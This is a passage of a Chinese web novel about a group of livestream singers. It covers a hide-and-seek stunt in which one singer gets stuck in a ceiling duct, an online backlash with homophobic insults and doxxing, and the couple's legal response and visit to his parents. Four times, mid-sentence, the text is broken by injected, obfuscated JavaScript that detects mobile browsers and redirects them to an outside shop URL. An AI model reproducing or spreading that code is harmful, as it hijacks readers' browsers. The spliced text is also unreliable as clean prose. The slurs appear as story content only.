假人介绍游戏环节:“本场捉迷藏,一共两轮,每个人初始积分为0,限时抓捕30分钟,每分钟加十几分,积分最高者将获得周年庆限定单曲,积分最低者则将接受惩罚,惩罚以直播间粉丝投票方式进行。” 噗噗提问:“有多长范围吗?” “有的,仅限于1.2.3层楼范围内,超出范围视为淘汰。”假人道:“大家需要各自开直播,进行实时躲藏,也希望直播间粉丝们不要爆位置哦。” 陈嘉炽已经迫不及待了,站起来在挨个指着所有人:“你们都给我等着。” 李竹欠欠地比了个“OK”。 假人道:“那么请大家进入后台换休闲服,拿上设备做好准备,五分钟的躲藏时间。” 话音刚落,直播间瞬间变成名门群像立绘播放视频,放着《光会落在花瓣上》这首歌曲。 直播间弹幕: [小小期待一把。] [以六夜竹的脑回路,我觉得他会躲在常人意想不到的地方。] [包的啊兄弟,就六夜竹那个想干翻全世界的劲儿,怎么可能会躲在平平无奇的地方。] [花儿会躲哪里?] [噗噗和皇子这俩好闺蜜一定会抱团躲。] [西瓜皮和直直我猜不出来,毕竟能跟六夜竹玩到一块的,脑回路能正常到哪儿去。] [前面的恶评,名门歌手们别看。] 直播间再次出现新画面时镜头一转,陈嘉炽戴着口罩的脸出现在直播间,他换了一身休闲装,运动鞋,“哈喽大家好,跟大家唠五分钟的嗑,给他们五分钟躲藏时间,让他们知道我这个老板的厉害。” 弹幕: [陈总好帅。] [好喜欢陈总的眼睛。] [厉不厉害不知道,我怕你着急眼儿会跟李竹干起来。] 陈嘉炽道:“不会,我俩塑料兄弟情也要分时候。” [刚你俩还在那扯头花呢。] [是啊,看嘴型感觉就是在吵。] 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483949|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >[国道兄弟名不虚传,你俩怎么这么有节目。] 陈嘉炽道:“没在吵,只是友善的交流情感罢了。” 他刻意咬重“友善”二字。 李竹那边开始直播后,名门语音厅的直播间人数正在减少,就像被一个巨大的浪花拍过,卷走了大量观众。 从李竹的直播间看,他躲在一个诡异的地方,视角是倒着的,人也不知道在哪,周围黑黢黢,完全看不出一点信息。 直播间弹幕: [????] [你躲哪呢?] [这什么地方??] [你能不能躲点阳间地方?] [六夜竹,你不会躲进垃圾桶了吧?] [有前传家人们!二创姐姐出手太快了!可以去给二创姐姐点点赞!] 直播间粉丝一部分涌进了二创姐姐的视频底下。 视频刚开始镜头一晃,直直地声音冒了出来:“哥,你躲那这能行吗?” 李竹道:“可行。” 镜头再次一转,李竹出现在视频中,此时的李竹正踩在桌上,因为个子太高,不得不身体微微向后倾斜,头顶的排风口被他顶开一个角。 李竹手长腿长,三两下爬进通风管道内,叮呤咣啷几声后探出个头来,“把手机给我,之后劳烦用东西把桌子上的脚印遮掩一下。” “行。” 镜头摇摇晃晃,李竹半张帅脸距离镜头很近,只听“咔哒”一声,通风管道盖子被合上。 评论区不知道该夸该骂,乱成一锅粥。 [有一说一,这是一个好地方。] [大家不觉得很危险吗,排风口的小风扇可不是开玩笑的。] [六夜竹脑回路我真服了,这谁能找到的啊。] [牛啊,这都能藏,上辈子干过特工吧。] 李竹直播间和闵谌连上线了,闵谌的位置比较亮堂,身后有花洒和玻璃门,还有洗漱用品,这一看就是在浴室。 李竹道:“宝,别暴露你的位置特征,换个角度。” 闻言闵谌换了个角度,他把手机怼着自己的脸,让人看不出来自己在哪,这样被那些打小报告的粉丝告密也不怕,况且这家酒店不止一间浴室,这么多浴室想来陈嘉炽应该会派被找到的人去找,他也不一定在房间浴室里。 闵谌觉得自己还挺聪明,躲好以后才开直播。 与此同时陈嘉炽拿着个扩音器已经开始准备就绪了,只要假人一声令下,他立马出动去找人。 假人盯着手机上的时间,在59秒时道:“时间到!老板可以出发了!” 陈嘉炽拿着扩音器放在嘴边道:“你们藏好了,别让我逮着啊。” 陈嘉炽身后跟着录像师和假人,他们东逛西逛,任何地方也不放过,连垃圾桶都翻。 假人顿了顿,爆发出大笑:“哈哈哈哈哈哈,老板怎么连垃圾桶都翻啊,这地儿能藏人?” 陈嘉炽一脸神秘地对着镜头道:“我跟你一说,以六夜竹那只想赢不想输的心理,每个垃圾桶我都得翻。” “诶?这员工洗浴室门上贴的啥?” 镜头放大,门上贴着:员工洗浴室,禁止入内。 门内的闵谌猛地扭头,手指按在手机音量减号键上,把声音关小,低声对电话那头的李竹道:“老板在我附近,我听到他声音了。” 39. 第 39 章 陈嘉炽在门口看着那张纸,“我记得那天来踩点的时候没有这个。” 假人道:“可能是酒店工作人员临时贴的吧。” “行吧。”陈嘉炽叉着腰转身推开隔壁门,发现一个纸箱动了下,他走上前去扒拉两下,眼睛瞬间一亮,乐出声来:“来来来,出来,你个老西瓜。” 西瓜皮缩成一团,抬头嘎嘎乐,“我服了,我老忍不住笑你知道吧,我知道你来了,我就是忍不住乐。” 陈嘉炽笑了几声:“走,去跟我找其他人。” 西瓜皮爬起来拍掉衣服上的灰尘:“行。” 西瓜皮临走前看了眼那间洗浴室,他来的时候好像没贴东西吧,应该是记错了? 不过他躲好的时候倒是听到一些动静。 他抓了抓脑袋走了,不管记没记错还是不提的好,万一工作人员在里面洗澡,打开门那可太尴尬了,引发舆情就说不清了。 陈嘉炽走后,闵谌松了口气,只要再熬过25分钟就够了。 直播间弹幕: [卧槽西瓜皮都被找到了。] [花儿在哪啊,看他直播都没搞懂。] [刚刚9527路过的地方,应该在西瓜皮附近。] [那很牛了。] [不是,六夜竹那地方真能被找到?] [上高难度了属于是。] [我靠,皇子和噗噗这地方都能被找到,9527有点神啊。] [老板嘛,正常。] 三十分钟说长不长说短不短,陈嘉炽在三层楼来来回回逛了不下数遍,待他再次来到三楼闵谌门前,便准备打开门。 假人如同时间大师一般,拿着大喇叭喊道:“时间到。” 闵谌打开门,与陈嘉炽来了个脸对脸。 闵谌眨巴眨巴眼睛,挥了挥小手:“嗨。” 陈嘉炽的脸扭曲了一瞬,最后没憋住暴了粗口:“你……卧槽!我但凡动作再快点你就被我找到了!就差一点啊!我真怒了!六夜竹你大爷的在哪!” 闵谌“唔”了声:“哥没跟我在一块儿。” 骗你的。 其实李竹就在走廊。 突然他们头顶传来嘎吱嘎吱声,下一秒头顶通风口被打开,李竹脑袋冒了出来,“嗨,老板。” 陈嘉炽:“……” 假人:“……” 西瓜皮:“……” 噗噗:“……” 皇子:“……” 预制菜:“……” 气球:“……” 妹妹哥:“……” 直直:“……” 众人都无语了。 知道六夜竹在有些时候是个奇葩,没想到这么奇葩。 陈嘉炽气笑了,抱臂站在下面抬头看着李竹,“你真能藏啊你。” 李竹抛了个媚眼:“欸,一般,一般啦。” 陈嘉炽骂:“你怎么不死呢?以为夸你呢?” 噗噗边摇头边鼓掌:“哇哦,竹哥这样的大脑我怎么没有呢。” 预制菜小声道:“你要是有竹哥那个脑子,我一定会干死你。” 噗噗也小声回道:“滚。” 直播间弹幕: [哈哈哈哈哈哈哈哈哈哈!] [突然出现,吓他们一跳。] [说真的,这地方待久了我憋不住,他怎么憋住不动的。] [六夜竹是不是多动症我不知道,你肯定是。] 陈嘉炽怒火中烧,朝李竹竖了个国际友好手势:“你藏窗户外边得了呗。” 李竹躺着觉得后背有点麻,他当着所有人的面像身上有跳蚤似的蠕动了几下,把头缩了回去,接着一条长腿伸出来踩在给他垫脚的桌子上,另一条腿…… 李竹“诶”了几声,“帮个忙兄弟们,我这只脚卡住了。” 这一听不得了,一群人手忙脚乱,机器丢在一边,设备也丢在一边,纷纷上去托住李竹。 他现在两条腿成了九十度直角,上半身还被迫弯着,这时候不知道谁来了句:“哟,还搞上高难度动作了,腿伸直了么?” 李竹脑袋在里面,看不见是谁说的,大家都带着口罩,说话声音闷闷根本听不清是谁,反正闵谌不会这样说他,于是他张嘴就骂:“我直你大爷的两块瓦刘海,快点帮忙!打119也行,快点,我想尿尿!” 闵谌一手撑着李竹的腿,一手扶额:“……” 有这样的对象,几点回家,闵谌直接不回家。 脸都丢尽了,回什么家,有什么脸回家,把脸捡起来再回家。 陈嘉炽指挥人托着李竹,减轻了托举的力度,自己退出人群给119打电话,打完电话又气又好笑。 这人都快三十了,怎么还这么毛毛躁躁的,一天净干些让人觉得丢脸的事。 没多久消防员来了,看到这个场景都震惊了,领头的班长道:“这……怎么上去的?” 陈嘉炽道:“不知道,要不你们先把他解救出来吧。” 消防员哭笑不得道:“行行行。” 由于这个画面太过搞笑,有人忍不住打开手机录了下来,发到朋友圈去。 经过半个小时的解救,李竹终于出来了,全身上下腰酸背痛,特别是脖子因一直低着头,突然抬起来时,着实有些胀痛。 陈嘉炽拍拍他的肩膀,指着放在消防箱上的摄像机,“兄弟,谁说人生没有那么多的观众,这不,你的观众来了。” 李竹扭头,摄像机亮着红点。 李竹:“……” 闵谌站在一旁憋笑,肩膀跟着一抖一抖的,连同旁边排排站着的几人也在憋笑,憋得小脸红彤彤的,终于没忍住“噗”了声,李竹敏感地扭头盯着他,他眼睛乱瞟,抬头盯着天花板,努力把李竹被卡在通风口的画面从脑海里抹掉。 李竹又扭头看向闵谌。 闵谌嘴巴一抿,眨巴眨巴大眼睛,仿佛在问怎么了? 李竹平静道:“好笑吗?” 闵谌点头:“嗯嗯嗯。” 李竹道:“嗯嗯嗯是什么意思?” 闵谌轻轻舒了口气,把笑点憋回去,道:“不好笑。” “真的?” “真的。” “真的?” “嗯……哈哈哈哈哈哈哈哈哈。” 这一声笑声像是被按下了开关键,一声接一声的笑,此起彼伏回荡在三楼走廊,一旁收拾工具的消防员也跟着笑,赶来的酒店经理听说事情经过后也没憋住,跟着大家一起乐。 李竹脸上表情变幻莫测,先是一脸黑线再到无语,最后气笑了。 大家笑成一团。 直播间弹幕: [名门群像,谁懂啊。] [他们笑我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483950|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也跟着笑。] [六夜竹黑历史再添一笔!] [不是,怎么会有人这么好笑啊,哈哈哈哈哈哈!] [我狗屎一样的笑点。] [六夜竹怎么有脸问花儿好不好笑的。] [大家前面脸都憋得跟苹果一样红。] - 第二把捉迷藏,李竹躲在通风口被卡住,因此被迫出局,说是出局,其实是让他休息,通风口那边缘一直磨着他大腿,这会有点疼,要玩也只能跟陈嘉炽一起找人。 闵谌躲在保洁室,里面全是被套床单扫把什么的,找这个地方他找了很久,时间不太够,只能躲在那个小推车底下。 只是没想到第二把的陈嘉炽找得这么细致,一下就把他找到了。 闵谌心里不放心李竹,就没跟着陈嘉炽一起找人,去休息室看李竹顺带看看直播。 刚推门进去,李竹躺在沙发上,长腿憋屈地弯着,双手不停地揉搓大腿肉。 “疼吗?”闵谌坐到他旁边。 看到是他,李竹没逞强,直言道:“有点疼,不知道是不是磨破皮了。” 闵谌关心则乱,脱口而出道:“脱下来我帮你看看。” 李竹笑着瞟了他一眼,低声说:“不好吧?” 闵谌这才反应过来,磕磕巴巴道:“那……那回家,回家再看…” 李竹却拒绝了,还把他拉进厕所,强行让闵谌看自己的大腿。 两人挤在休息室狭小逼仄的厕所隔间里,李竹没给闵谌反应的机会,直接脱了裤子,“你看看,我看不着后边儿。” 闵谌:“……” 虽然无语,但是还是下意识地瞄了眼,那里确实有条红痕,一小块皮被磨掉了。 “破皮了。”闵谌说,“要不然我去给你买个创可贴贴着吧。” “行。” 闵谌从厕所出来,小跑着出了酒店,碰上工作人员匆匆忙忙打了个招呼继续跑,等回来的时候手上拿着一盒创可贴,还是防水的那种透明创可贴。 李竹看着他手里的一小盒,“这是让我一天一张创可贴吗?” 闵谌挠挠头:“我没想那么多,抓了一盒就付钱了。” 李竹双手捧着他的脸,嘴巴被迫张成“o”型。 “你怎么这么可爱啊。” 闵谌哼哼唧唧拍开李竹的手,“赶紧贴吧,我去外边等你。” 然而外边的工作人员已经乱成一锅粥了。 “来人!把六夜竹老师的麦掐了!” “到底是谁没掐他麦克风!” “花老师的麦也给掐了!” “我找不到他们!” “我靠了!厕所厕所!他们在厕所!!” 直播间弹幕: [这是我能听的吗?] [所以花看到了什么?] [花宝有多可爱,有请六夜竹发言。] [答应我,别生在我手机里好吗?@M.六夜竹@M.漂亮的花儿。] 闵谌和李竹从厕所出来时,面对一群愤怒的工作人员,两人一脸懵逼。 “咋了?” 工作人员举着手机点了点上面截屏的弹幕,大声念出来:“答应我,别生在我手机里好吗?艾特艾慕点六夜竹,艾特艾慕点漂亮的花儿。” 李竹:“……” 闵谌:“……” 40. 第 40 章 两人闹出来的乌龙解释不清,就算工作人员了解事情经过,直播间的粉丝相信,某些串子也不一定相信。 名门周年庆结束的当晚,不出意外闹上热搜。 李竹和闵谌连夜开播澄清,在直播间做出解释。 两人直播间弹幕乌烟瘴气,说什么的都有,人数直接突破10万加。 闵谌挂出当时买的那个创口贴照片,“我和哥没在厕所做什么,我给他买了创可贴就站门口等着了,至于为什么让我看伤口,因为他看不到。” 弹幕: [俩男同真恶心。] [我吐了,我一个男的都觉得羞耻。] [自己是男的还给另一个男的当老婆,很爽吗?] [前面的傻逼吗?人家相互喜欢还不让在一起了?] [做不了父母上网来给别人当父母来了?] [来来来,骂我家俩宝宝的出来,拉个群,我跟你们唠唠,几个爹妈啊?这么说话。] [我说白了,男同就是恶心。] 闵谌看着弹幕沉默,甚至有点不想管,想摆烂。 骂就骂吧,又不会少块肉,澄清什么呢,他跟李竹在一起又需要谁来指点,父母都不阻拦,轮不到外人来指手画脚。 另一边,李竹叼着烟,靠在椅子上看着弹幕一条条飞过,边上手机响个不停,从他跟闵谌的名字并排冲上热搜开始,已经有很多人公开了两人的真实姓名、地址,包括证件照,通通被曝了出来。 一根烟抽完,他喝了口水润润嗓子才开口:“事情经过我已经说了很多遍,爱信不信不信拉到,我李竹求着你们信了?整天抓着机会就搞我,想很久了吧?比你家爱播火看不下去了?几个菜啊,喝成这样?有没二两白酒的量?” [这就是你解释的态度吗?] [难道就不应该回应点什么吗?] [我真不知道你们这些男的在搞什么,这么喜欢跟男的搞在一起,干脆锁死行吗?别出来嚯嚯女生和男生了。] [网络上现在这种搞男男的风气都是被你们带坏的。] [真恶心,早点退网吧。] “一个个来,说我解释的态度是吧,我态度就这样,我说百遍你们也不信,张着嘴哇啦哇啦颠倒黑白,我还解释什么玩意儿?我干脆把你脑水抽出来,换洁厕灵得了呗。”李竹语调不急不缓,“会锁死的谢谢,别担心,你站我面前我都看不上你,毕竟我眼光没那么差。网络风气被我们这些男男带坏的?你怎么不看看那些诅咒人家得病的主播?现在还有什么网络风气?你以为你看到的听到的都是事实?别傻了好么?成年人就该有成年人的脑子,别没脑子光带张嘴就网上来当教父来了。我是杀人放火还是挖谁家祖坟了,连狗路过都得冲我叫两声。” 李竹打开手机,点开微博,看到一条粉丝整理后发出来的截图,里面包含李竹和闵谌的所有信息,包括住址、电话号码和电子身份证。 “现在我实名制上网,开盒我信息的,最好别让我找到。骂我随便,牵扯到无关人员,我退不退网不知道,你一定会落网。”李竹看着微博嗤笑一声,把手机丢到一边:“开盒我信息的应该知道我所有信息了吧?要不你来我直播间,我不举报你,你开小号也没事,反正不实名认证也能看直播不是么?少关注你爹生活,多关注你爹优美的歌声,S市百灵鸟六夜竹。” 弹幕: [可把你牛逼坏了吧李竹。] [笑死了,直播骂人这么难听,大家点点举报!] [我是六夜竹真爱粉,我喜欢他,希望他退网。] [骂六夜竹的,一个都别想逃哦~见识一下少爷的实力哦~] 李竹看着弹幕嘲讽地笑了声,他右上角有个红色的圆点,正在计时,那是他打开的直播录屏。 他这边懒得骂,主要是闵谌那边,以闵谌的性格不一定跟他们犟,脸上不在意,但一定会默默记在心里。 他向闵谌发起了连线邀请。 闵谌秒同意。 “开下互通,我看看你那边弹幕都在发什么。”李竹说。 闵谌很听话地打开互通,两边弹幕如潮水般汹涌而至。 他又拿起手机给闵谌发消息。 [麻瓜:别说话,我在录屏,别怕,我来处理。] [超绝声线:好。] 李竹闭掉麦克风,才点开老妈发来的语音。 [美丽大方女明星:你是想自己处理还是让我们帮你?还是做父母的帮你们吧,我儿子长这么大第一次遇到这种事,做父母的勉为其难疼爱疼爱儿子吧。] 李竹:“……” 真不知道李女士这性子随谁,要是别人他早开骂了,可惜了,是亲妈。 他敲敲打打回复李女士。 [麻瓜:谢谢老妈和李总。] [麻瓜:下辈子你当我孩子,我也帮你处理舆情。] [美丽大方女明星:倒反天罡。] 两人播了一个小时,挨了一个小时骂,基本上粉丝在跟那群黑子对骂,边骂边举报。 下播后李竹把直播录屏和整理好的微博黑子的资料和内容发给李总。 [麻瓜:爸。/比心] [aaaa.李总:/大拇指/大拇指,好儿子,你妈跟你爹一直是后盾。] 李竹盯着这句话看了半晌,说不感动是假的,他们家一直实行放养式教育,除了在某些事上做干预以外,李竹基本上就是个野着长大的,第一次收到李总这么肉麻的消息起了一身鸡皮疙瘩。 闵谌坐在他身边,一脸忧愁心地看着他。 李竹温热的大手在他身上轻轻安抚,“没事,咱们有爸妈。” 说到这他顿了顿,开玩笑道:“我得给陈嘉炽他们说,让他们别蹭我俩流量,我俩今天升咖了都,也是大主播了。” 说着,他真的在闲聊群里发了条消息。 [麻瓜:@所有人大家今晚别蹭我流量谢谢。] [噗噗:蹭上了已经,我们和老板连线呢。] [麻瓜:你们滚吧,再也不做兄弟。/挥手] 然而,在他们下播短短的几分钟内,关于“六夜竹和漂亮的花儿周年庆乱搞”“李竹”“闵谌”“名门语音厅”等词条在网上逐渐发酵,引来一大批键盘侠,甚至有些瓜还没吃明白就已经开喷了。 陈嘉炽边直播边跟公司运营部门沟通,让赶紧发澄清,详细描述事情经过。 但并没什么用,大波黑子涌入名门官方微博底下,展示他们优美但缺脑的言论。 不过,当天凌晨竹航集团发出两条微博,一条是律师函,一条看着像是竹航集团老总,李策航发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483951|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。 [竹航集团官方:M.六夜竹是什么样的人我比你们清楚,我养了这么多年的儿子,我还不了解他是什么样的人吗?他嘴上确实不知道说谁,但绝对不是随我太太,言归正传,在公共场合李竹是个要面子的人,我相信他不会做出这样的事。他找到了自己的幸福,我和我的太太祝福并支持。首先作为一个父亲,我没有干涉他选择幸福的权利,无论另一半是女孩儿也好,男孩儿也好,无非就是家里多了个儿子或者姑娘。其二他妈妈很喜欢花花,这是重点。其三,网络不是法外之地,请文明用语,不要擅自给人开户,法院传票会寄到你们家里或是手上,一切我们拿证据说话。] 评论区一堆直播间粉丝的评论被顶上前排。 [虽然叫闵谌不太合适,但是我爱播是竹航太子爷的老婆,他老公的爸爸是竹航集团老总,四舍五入,我是长公主,想必大家都懂我的意思吧。/捂嘴哭泣] [敲重点,六夜竹性格随李太太。] [原来他们已经见过父母了,而且还得到父母的支持了,大声说出来!竹影摇花99!!] [讲个笑话,六夜竹没权没势没背景。/狗头] 两条微博一出,有的黑子表示不屑,说李竹父母包庇儿子云云。 不过接下来的几天里,有些曾在微博与直播间辱骂李竹和闵谌的黑子收到了律师函,情节严重的比如开盒的收到了法院传票,并且五天后开庭。 聪明的黑子已经手写道歉信,并且艾特了竹航集团、六夜竹和漂亮的花儿的微博。那些泄露他人信息的“开盒”者,手写道歉信也没用,李竹选择告到底。 见此情形,他们直接销号走人,不过没用,既然已经了解到那些人的真实信息,想要找到他们还是容易的。 身为爱粉,见到自己主播战胜黑子,比正主还要得意,三天两头发大字报挑衅那些黑子。正主这么有实力,粉丝也不是吃素的,通过一些手段找到那些美美隐身的黑子新账号,艾特出来反复鞭尸。 这几天公司的工作人员和同事也忙得焦头烂额,噗噗嘴上功夫更上一层楼,在直播间跟黑子对骂被封直播间也要开小号直播继续骂,其他人主打的开团秒跟,一起连线骂,假人作为一名网络文明大使,为了跟上兄弟们的脚步,搜了很多骂人不被封号的词汇,激情嘴遁。 陈嘉炽不再顶着国道兄弟这个称号,而是为李竹出了一份力。 他直播间反复回放着当时酒店的监控,闵谌抱着一盒创可贴来来回回地场景。 边看边解释:“这里就足以证明了俩人在厕所什么也没干,六夜竹卡在通风口,这大家都知道,其实没必要睁眼说瞎话……” 此时两三天没直播的李竹突然进入陈嘉炽的直播间,并且申请连麦。 李竹慵懒低哑的嗓音在直播间响起:“兄弟,你自己没老婆吗?一直看我老婆干嘛?” 陈嘉炽大震惊,一时间想不起来骂人,而是问道:“我靠?你怎么神出鬼没的?” “我把你们直播间都逛了一遍,就你在看我老婆。” “不是……”陈嘉炽忍了忍,想着李竹是事件主人,还是好兄弟,还刚摆脱舆论,算半个可怜人吧,但是没忍住,大骂:“你滚!死远点!你俩以后老了一个埋北极一个埋南极!” 骂完一脚把李竹踢出直播间。 41. 第 41 章 这天,闵谌早起排档,这几天因为热搜的事,两人没怎么排档,直播有效时长也不够。 本来想着国庆节休息去玩的,被弄得没什么心情,主要是他没心情,整天心不在焉的。 不过好在事件发生了反转,只不过有一件事还不知道怎么处理。 他们两人的大头照被贴了出来,这300万到底要不要赔、该谁赔还不确定,得等李竹跟陈嘉炽商量。 他在排档群里扣了个10.0的任务点,心里祈祷别被其他人以更高的任务顶上去。 下一秒。 [西瓜皮:15.0] [假人:16.0] [皇子:17.0] [直直:18.0] [噗噗:20.0] [妹妹哥:22.0] 闵谌:“……” 现在排档都要以抢的方式了吗? 他们名门排档,扣任务选最高的进行排序,任务低的等下一轮继续扣。 闵谌第一次扣任务来脾气,直接发了个全场最高的任务点。 [超绝声线:40.0] [噗噗:41.0] [对方已撤回该消息。] 这段时间因为他跟李竹的事,后台涨了不少粉丝,有黑粉,也有真心来看他直播的,现在涨粉他有底气,就算完成不了任务,大不了排到晚上。 至于为什么这么有底气去扣40.0,那是因为他排档的有效时长不够,一个人月底要达到100个时长才算及格,不及格要罚款,300元。 不出意外,他成功排上档,只用等待下个时间整点就可以进入语音厅排档唱歌。 李竹睡醒起来,上衣也没穿,后背一大片抓伤的痕迹,睡眼惺忪地就跑来找闵谌贴贴。 “怎么一大早就起来电脑前坐着?” 他脸颊在李竹下巴上蹭了蹭,能感受到对方刚冒出来的一片小胡茬,“我准备排档,早点排完可以休息,跟你一块出去玩。” 李竹喜欢得不行,在他脸上又亲又咬的,“你怎么这么好,下辈子还给我当老婆行吗?” 闵谌偏头推着那紧贴不放的嘴,“行行行,别咬了,还有一会就到点了,你赶紧去洗漱,我点了外卖。” 闻言李竹这才心满意足地放开他,“好。” 李竹刚走,他立马掏出手机现场点外卖,点了两份早餐,他最近发现一家好吃的肠粉,为什么好吃他说不上来,一切对于他来说口感不错的,味道好的,都算好吃。 李竹洗漱完时间刚好到整点,直接进入名门语音厅申请麦序。 只是没想到噗噗能被选上,而且还是本档的主持。 他熟练地说着介绍语:“欢迎大家来来到名门语音厅,我是本档主持噗噗,那么接下来我介绍一下本档任务。” 闵谌被李竹投喂了几颗水果,便听见噗噗说:“本档花老师的任务是40.0啊,他再也不是那个扣排手速比不上我们的花儿了,可见为了排上档,扣了多高的任务。 刚吃进嘴里的水果差点被噎着,李竹站在他身后边看手机边帮他顺背。 “没有,我想早点排够时长,给自己放几天假。” 语音厅弹幕: [因为前两天的事疲惫了吧。] [40.0,对自己要求这么高吗?] [是不是跟李竹出去玩呀。] [怎么大家都给六夜竹实名制上网了吗?] [我爱播说不介意,叫哪个名字都行。/美滋滋] 现在两人基本上是实名制上网,大部分粉丝说惯了六夜竹这个名字,说李竹时还有些不习惯,叫李竹,也只有在开皮闵谌和李竹本人时才会叫。 但实名制上网再添一员陈嘉炽,他以前就被爆过一次,因他们俩的事再次被提起,从而组成了名门实名制三人组,其中陈嘉炽堪称两人爱情的打光师。 说直白点,叫电灯泡,是不是电灯泡其他人不知道,他们俩还不知道吗? 付岁要是在他们面前绝对第一个不同意。 噗噗一首歌曲结束道:“麦甩下一位老师,花儿老师。” 闵谌选了一首最近很火的歌,前奏刚出来,语音厅弹幕就像开了传送带,一个字也看不见,只能用鼠标去扒拉着看,要是不小心点到更新弹幕,刚才扒拉的那条就再也找不到了。 礼物也跟不要钱似的往闵谌身上砸,一个特效比一个特效夸张,而且声音还巨大,吓得他连忙手动关掉礼物声音。 这些礼物中包含了很多昂贵的,其中就有几个“蓝海”,一首歌的时间里,他40.0的任务就完成了。 所有人都在震惊,他自己也震惊,干了这么久的语音厅,第一次见40.0的任务在一首歌的时间里瞬间完成的。 谢榜只能在589分开始谢,他道:“感谢大家的礼物,麦甩主持。” 一个小时里有两轮歌曲要唱,目前看来到第二轮还早,刚好他点的外卖到了,这二十几分钟里够他吃完早餐。 李竹开门把外卖拿进来,“过来,不准在电脑前吃东西。” 闵谌犹豫道:“万一到我了怎么办?不说话50块就飞了。” “我给噗噗发消息了,到你他会给我发消息。” 听到这句话他才安心地离开电竞椅来到饭桌上吃早餐。 李竹亲手给他撕开包装,打开外卖盒,亲力亲为就差喂他吃东西了,他连忙制止:“哥,我自己吃,你也吃。” 李竹揶揄道:“这么生分了?” “没有,”闵谌忙道:“我又不是小孩了。” 李竹看着他,刚想开口,他却抢先一步:“那个不一样,吃饭吃饭,别说话。” 李竹轻笑出声,点头道:“行,吃饭。” 闵谌紧赶慢赶把早餐吃完准备回电脑前坐着时,李竹突然道:“明天或者后天,咱去妈那住几天。” 闵谌一时间没反应过来,“谁妈?” “你婆婆妈,还能谁妈。”说着李竹抬手在他脑门上点了下,“你这问的什么话。” 是该谢谢李竹爸妈。 闵谌捂着脑门笑了笑,“好,咱妈喜欢什么?” “咱妈喜欢的多了,我也不知道,到时候买点吃的去吧。” “好,到时候我看看。” 闵谌回到电脑前,刚戴好耳机就听噗噗说:“麦甩花儿老师。” 闵谌开麦:“好,接过,这首歌是粉丝点歌,叫《般配》希望大家喜欢。” - 接下来的几天里,闵谌几乎都在排档,连去李竹爸妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17483952|201909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那都一直推迟着没去,今天他把所有的直播时长,包括排档时长全都安排好了,带着几件衣服跟着李竹回老宅住。 中途闵谌要求停车,去商场买东西,按照网上搜索来的信息,给李女士买了两件现在最火的衣服和首饰。 大包小包提上车,李竹问:“买了什么?” 闵谌把袋子递给他,让他自己看。 李竹看了一眼,脸上表情几乎皱在一起,“商场怎么会有这么丑的衣服,咱去退掉,重新买。” 闵谌愣住,看着被拿出来的长裙,是现在最流行的款式,还是牌子货,有一瞬间他怀疑自己审美出了什么问题。 “丑......吗?” 李竹十分肯定:“丑。” 闵谌:“......” 李竹又道:“不过这手镯挺好看。” 在李竹的强硬要求下,两人下车重新买了两条裙子,都是那种花花绿绿红配绿,上面绣着一朵很大的不知道什么花的裙子,一路上闵谌在沉默,好的是他没有退掉那件牌子货。 李竹边开车边吐槽,“现在的时代都怎么了,我选的不好看吗?你那件咱妈一定不喜欢。” 闵谌心死地靠着车窗,看着外面快速消失的风景没说话。 经过李竹在商场里的一顿操作,闵谌终于确认,不是自己的审美出问题,而是李竹的审美出问题了,在那一刹那,他怀疑自己是不是也跟那件红配绿套裙一样,便看向车上的镜子,还好,帅的,至少李竹在选对象和穿搭这件事上,审美是在线的。 不然当初他也不会看上李竹。 抵达黄金大门,李女士一身黑色长裙,一头长发大波浪披散着等在门口。 李竹停好车后,闵谌才后知后觉地感到紧张,有了想回家的念头,就在他思考要不要下车的时候,李竹握住他的手,轻声道:“没事,不用紧张,咱妈不吓人,很好相处。” 闵谌舒了口气,李竹的手握上来那一刻,让他瞬间放松下来,可能是有李竹在,他什么都不需要担心的心理作祟吧。 他提着买给李女士的礼物下车。 李女士十分热情地迎了上来,拉着闵谌的手拍了拍打趣道:“一路上辛苦了吧?怎么还买东西,人到就行了,花那冤枉钱。” 闵谌张了张嘴,想说应该的,不冤枉。 